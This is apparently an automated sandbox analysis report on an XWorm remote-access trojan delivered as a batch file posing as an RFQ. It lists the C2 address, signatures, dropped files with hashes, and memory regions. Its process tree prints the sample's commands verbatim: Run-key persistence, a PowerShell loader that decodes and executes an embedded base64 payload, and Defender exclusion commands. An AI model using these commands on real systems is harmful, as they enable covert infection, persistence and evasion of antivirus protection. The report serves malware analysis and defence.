Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/02/2026, 08:53

General

  • Target
    RFQ ARL6100226FF.bat
  • Size 92KB
  • Sample260223-ktflhsbw4f
  • SHA256 bfe654871546beefc5b379d95a582716abbf505ecb1867f185b60dc257a0d4b4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • XWorm V6.4

C2
  • 204.10.160.190:7003

Mutex
  • Cqu1F0NxohroKG5U

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Detects DonutLoader 1 IoCs
  • DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Donutloader family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Loads dropped DLL
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3104
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5268
      • C:\Windows\system32\cscript.exe
        cscript //nologo "C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5452
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat" %*
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3896
          • C:\Windows\system32\attrib.exe
            attrib +h "C:\Users\Admin\AppData\Roaming\WIPE"
            5⤵
            • Views/modifies file attributes
            PID:3136
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Teamsstill" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd\"" /f
            5⤵
            • Adds Run key to start application
            PID:3380
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle h -EP Bypass -c "try { $Locate = Get-Content 'C:\Users\Admin\AppData\Local\Temp\RFQ ARL6100226FF.bat' -Raw; if ($Locate -match ':REMoJJ0Ylbig0ZaO([A-Za-z0-9+/=]+)') { $Wet = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); Invoke-Expression $Wet } } catch {}"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5924
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.cmdline"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5840
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF925.tmp" "c:\Users\Admin\AppData\Local\Temp\hw2ulwli\CSCCB83445D1DF941E3ACD0DE262968D343.TMP"
                7⤵
                  PID:5640
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4228
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF9B2.tmp" "c:\Users\Admin\AppData\Local\Temp\yftarqs4\CSC32B53A4C7FA3439696F881BCA201FC6.TMP"
                  7⤵
                    PID:5940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Explorer.EXE'
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Explorer.EXE'
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2704
      • C:\Windows\system32\cmd.exe
        "cmd /c "C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd""
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:5560
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5624
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd" %*
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5600
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Teamsstill" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd\"" /f
              4⤵
              • Adds Run key to start application
              PID:5932
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle h -EP Bypass -c "try { $Locate = Get-Content 'C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd' -Raw; if ($Locate -match ':REMoJJ0Ylbig0ZaO([A-Za-z0-9+/=]+)') { $Wet = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); Invoke-Expression $Wet } } catch {}"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5976

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a7dd972424019b0668bf196b34e30295110a5c9378ea780675fd8f5a7caa4067
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
            • MD5 SHA1 SHA512 TLSH

            FOCUS.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs
            • Size 126B
            • SHA256 c5990fadf74e970b90800364e0222437fa379d33389446247405894d397f1b5e
            • MD5 SHA1 SHA512 TLSH

            FOCUS.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\FOCUS.vbs
            • Size 136B
            • SHA256 f92eb8ab5fa809c23df5f7f19d330f007e2eab190ad4cd970f4a16cc52b55a8e
            • MD5 SHA1 SHA512 TLSH

            Protect2a3d628b.dll

            • Path C:\Users\Admin\AppData\Local\Temp\Protect2a3d628b.dll
            • Size 826KB
            • SHA256 ee5d8d19b12e43459490c9c27024416c670a133fc3f1972fc8f24c6f2b80544c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESF925.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESF925.tmp
            • Size 1KB
            • SHA256 f4fecf07ca8ee7b3dcbf111c451264b4f296515daa3437f9b4b93f5a060dccfc
            • MD5 SHA1 SHA512 TLSH

            RESF9B2.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESF9B2.tmp
            • Size 1KB
            • SHA256 87fc61d3584ba8a209bfed314525a90c29e7bf0ff9ff0c4e61abb361086c26bf
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_uldkezh4.kd2.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uldkezh4.kd2.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            hw2ulwli.dll

            • Path C:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.dll
            • Size 3KB
            • SHA256 3b4fb9620fec500564fc18c276a41caab457f30ee9a251dd272cb13d6abdd749
            • MD5 SHA1 SHA512 TLSH

            yftarqs4.dll

            • Path C:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.dll
            • Size 3KB
            • SHA256 23c6d75f2cb7b224ffefa4bccfd69be928a3c03c12ff9bfa26b964e59d4f1641
            • MD5 SHA1 SHA512 TLSH

            Male.cmd

            • Path C:\Users\Admin\AppData\Roaming\WIPE\Male.cmd
            • Size 92KB
            • SHA256 bfe654871546beefc5b379d95a582716abbf505ecb1867f185b60dc257a0d4b4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSCCB83445D1DF941E3ACD0DE262968D343.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\CSCCB83445D1DF941E3ACD0DE262968D343.TMP
            • Size 652B
            • SHA256 5cec1cc925fdc7508edc9a7c0482eb919a4643811003c9549e871c1dd2e6b626
            • MD5 SHA1 SHA512 TLSH

            hw2ulwli.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.0.cs
            • Size 408B
            • SHA256 332cc91968b5e50ea67fac2cedd4ae665e388f10e46e841c9e5a3ef2f3285439
            • MD5 SHA1 SHA512 TLSH

            hw2ulwli.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\hw2ulwli\hw2ulwli.cmdline
            • Size 369B
            • SHA256 94157b1331f17550b0db39b009dd4ede403e761cf5febbb7b2ab16aba39b3c9b
            • MD5 SHA1 SHA512 TLSH

            CSC32B53A4C7FA3439696F881BCA201FC6.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\CSC32B53A4C7FA3439696F881BCA201FC6.TMP
            • Size 652B
            • SHA256 c3e54331759c5bfd6f80c2a58f4840262a29134514fa61dea6ef661f8fec3b3b
            • MD5 SHA1 SHA512 TLSH

            yftarqs4.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.0.cs
            • Size 795B
            • SHA256 64f97a1eea4704304d31349fcb297b88d40b23df1841374e251bdf305480cc5b
            • MD5 SHA1 SHA512 TLSH

            yftarqs4.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\yftarqs4\yftarqs4.cmdline
            • Size 369B
            • SHA256 d6459a6e6e2004513c93305601ede6a1bc10c5b7666348e36c08a7c64f7d939e
            • MD5 SHA1 SHA512 TLSH

            memory/2704-107-0x00000168FE5C0000-0x00000168FE5C8000-memory.dmp

            memory/2704-106-0x00000168FDCD0000-0x00000168FDCE2000-memory.dmp

            memory/2704-105-0x00000168FDC30000-0x00000168FDC3C000-memory.dmp

            memory/3104-113-0x0000000007200000-0x00000000073A8000-memory.dmp

            memory/3104-60-0x0000000000860000-0x000000000086C000-memory.dmp

            memory/3104-118-0x0000000003E00000-0x0000000003E10000-memory.dmp

            memory/3104-119-0x0000000003F70000-0x0000000003F7E000-memory.dmp

            memory/3104-122-0x000000000F1E0000-0x000000000F530000-memory.dmp

            memory/3104-62-0x0000000003C00000-0x0000000003C0E000-memory.dmp

            memory/4052-85-0x0000014DDE460000-0x0000014DDE46A000-memory.dmp

            memory/4052-87-0x0000014DC5970000-0x0000014DC597C000-memory.dmp

            memory/4052-89-0x0000014DDE300000-0x0000014DDE308000-memory.dmp

            memory/4052-88-0x0000014DC5A30000-0x0000014DC5A42000-memory.dmp

            memory/4052-77-0x0000014DDE310000-0x0000014DDE32C000-memory.dmp

            memory/4052-78-0x0000014DDE330000-0x0000014DDE3E3000-memory.dmp

            memory/4052-79-0x0000014DDE400000-0x0000014DDE40A000-memory.dmp

            memory/4052-80-0x0000014DDE430000-0x0000014DDE44C000-memory.dmp

            memory/4052-81-0x0000014DDE410000-0x0000014DDE41A000-memory.dmp

            memory/4052-82-0x0000014DDE6D0000-0x0000014DDE6EA000-memory.dmp

            memory/4052-83-0x0000014DDE420000-0x0000014DDE428000-memory.dmp

            memory/4052-84-0x0000014DDE450000-0x0000014DDE456000-memory.dmp

            memory/4228-47-0x0000020383AF0000-0x0000020383AFC000-memory.dmp

            memory/5452-3-0x0000024F9F240000-0x0000024F9F24C000-memory.dmp

            memory/5624-37-0x000002307AFB0000-0x000002307AFBC000-memory.dmp

            memory/5640-28-0x000001E8321E0000-0x000001E8321EC000-memory.dmp

            memory/5840-31-0x000001B9F4EC0000-0x000001B9F4ECC000-memory.dmp

            memory/5924-14-0x0000020668840000-0x0000020668862000-memory.dmp

            memory/5924-103-0x00000206687C0000-0x00000206687D0000-memory.dmp

            memory/5924-33-0x0000020668300000-0x0000020668308000-memory.dmp

            memory/5924-109-0x00000206682C0000-0x00000206682D2000-memory.dmp

            memory/5924-108-0x0000020666950000-0x000002066695C000-memory.dmp

            memory/5924-49-0x00000206687B0000-0x00000206687B8000-memory.dmp

            memory/5924-6-0x00000206687C0000-0x00000206687D0000-memory.dmp

            memory/5924-7-0x00000206687C0000-0x00000206687D0000-memory.dmp

            memory/5940-44-0x000001FE99B40000-0x000001FE99B4C000-memory.dmp

            memory/5976-58-0x000001D29D6D0000-0x000001D29D6DC000-memory.dmp

            memory/5976-59-0x000001D2B5D50000-0x000001D2B5D62000-memory.dmp